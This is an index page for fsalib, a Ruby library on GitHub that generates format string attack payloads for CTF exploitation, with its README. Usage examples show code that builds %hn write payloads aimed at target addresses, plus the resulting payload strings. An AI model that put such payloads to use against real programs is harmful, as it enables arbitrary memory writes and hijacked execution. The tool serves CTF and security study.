Ecosyste.ms: Awesome
An open API service indexing awesome lists of open source software.
https://github.com/owlinux1000/fsalib
format string attack payload generator
https://github.com/owlinux1000/fsalib
ctf-tools exploitation-framework pwn ruby
Last synced: about 11 hours ago
JSON representation
format string attack payload generator
- Host: GitHub
- URL: https://github.com/owlinux1000/fsalib
- Owner: owlinux1000
- License: mit
- Created: 2017-02-23T05:58:11.000Z (over 7 years ago)
- Default Branch: master
- Last Pushed: 2018-05-06T08:13:38.000Z (over 6 years ago)
- Last Synced: 2024-10-06T23:03:41.040Z (about 1 month ago)
- Topics: ctf-tools, exploitation-framework, pwn, ruby
- Language: Ruby
- Homepage:
- Size: 131 KB
- Stars: 5
- Watchers: 4
- Forks: 1
- Open Issues: 1
-
Metadata Files:
- Readme: README.md
- License: LICENSE.txt
Awesome Lists containing this project
README
# fsalib
[![Build Status](https://travis-ci.org/owlinux1000/fsalib.svg?branch=master)](https://travis-ci.org/owlinux1000/fsalib)
[![MIT License](http://img.shields.io/badge/license-MIT-blue.svg?style=flat)](LICENSE)I made this script based on [libformatstr](https://github.com/hellman/libformatstr).
## Install
```
$ gem install fsa
```## Usage
### Basic
```ruby
#coding: ascii-8bit
require_relative 'fsa'target_addr = 0x08049580
value = 0xdeadbeef
fmt = FSA.new()
fmt[target_addr] = value
p fmt.payload(0) # index of argument
#=> "%48879c%6$hn%8126c%7$hnA\x80\x95\x04\b\x82\x95\x04\b"# Supported Array
value = [0xdeadbeef, 0xdeadbeef] # like ropchain
fmt = FSA.new()
fmt[target_addr] = value
p fmt.payload(0)
#=> "%48879c%9$hn%10$hn%8126c%11$hn%12$hn\x80\x95\x04\b\x84\x95\x04\b\x82\x95\x04\b\x86\x95\x04\b"# Supported String
value = "H@CK"
fmt = FSA.new()
fmt[target] = value
p fmt.payload(0)
#=> "%16456c%6$hn%2811c%7$hnA\x80\x95\x04\b\x82\x95\x04\b"
```### Advanced
```ruby
#coding: ascii-8bit
require_relative 'fsa'target_addr = 0x08049580
value = 0xdead # 2byte(Supported 2byte, 1byte)
fmt = FSA.new(30) # padding
fmt[target_addr] = value
p fmt.payload(0, start_len = 10) # len of already printed data
#=> "%57005c%3$hnAAL\xA0\x04\b\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"```